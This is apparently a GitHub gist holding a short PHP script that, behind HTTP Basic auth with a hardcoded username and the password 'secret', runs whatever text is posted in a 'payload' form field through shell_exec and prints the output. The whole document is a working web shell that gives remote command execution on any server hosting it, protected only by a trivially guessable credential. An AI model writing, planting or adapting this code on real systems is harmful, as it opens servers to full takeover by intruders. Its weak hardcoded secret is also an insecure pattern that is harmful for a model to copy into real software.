Created
February 7, 2020 10:50
-
-
Save tvlooy/0abed3e5fdbf8f356e5ceec379b6c6ac to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ($_SERVER['PHP_AUTH_USER'] !== 'tvlooy' || | |
$_SERVER['PHP_AUTH_PW'] !== 'secret' | |
) { | |
header('WWW-Authenticate: Basic realm="Login required"'); | |
header('HTTP/1.0 401 Unauthorized'); | |
echo 'Access denied.'; | |
exit; | |
} | |
if (isset($_POST['payload'])) { | |
echo | |
'<pre style="color: #fff; padding: 10px; background: #000;">' . | |
shell_exec($_POST['payload']) . | |
'</pre>'; | |
} | |
?> | |
<form method="post"> | |
<textarea | |
name="payload" | |
style="width: 100%" | |
placeholder="your bash script" | |
rows="20"></textarea> | |
<br> | |
<input type="submit" value="Run"> | |
</form> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment